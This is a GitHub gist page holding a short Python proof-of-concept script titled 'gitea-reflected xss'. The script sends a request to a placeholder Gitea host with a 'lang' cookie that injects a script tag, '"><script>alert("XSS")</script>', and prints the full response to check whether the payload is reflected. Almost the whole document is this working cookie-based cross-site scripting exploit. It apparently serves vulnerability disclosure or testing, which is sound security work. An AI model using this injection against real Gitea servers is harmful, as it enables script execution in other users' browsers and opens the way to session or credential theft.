Created
April 28, 2025 12:58
-
-
Save HouqiyuA/a74d07f7730b69dfa6ce9f14b4750095 to your computer and use it in GitHub Desktop.
gitea-reflected xss
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| TARGET_URL = "http://GITEAHOST/" | |
| cookies = { | |
| 'lang': 'en-US"><script>alert("XSS")</script>' | |
| } | |
| def test_xss(): | |
| print("=== Starting XSS Test via Cookie Injection ===") | |
| try: | |
| print("\n[Request]") | |
| print(f"URL: {TARGET_URL}") | |
| print(f"Cookies: {cookies}") | |
| response = requests.get(TARGET_URL, cookies=cookies, timeout=10) | |
| print("\n[Response]") | |
| print(f"Status Code: {response.status_code}") | |
| print("Headers:") | |
| for header, value in response.headers.items(): | |
| print(f"{header}: {value}") | |
| print("\nBody:") | |
| print(response.text) | |
| except requests.RequestException as e: | |
| print(f"[!] Error occurred: {e}") | |
| if __name__ == "__main__": | |
| test_xss() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment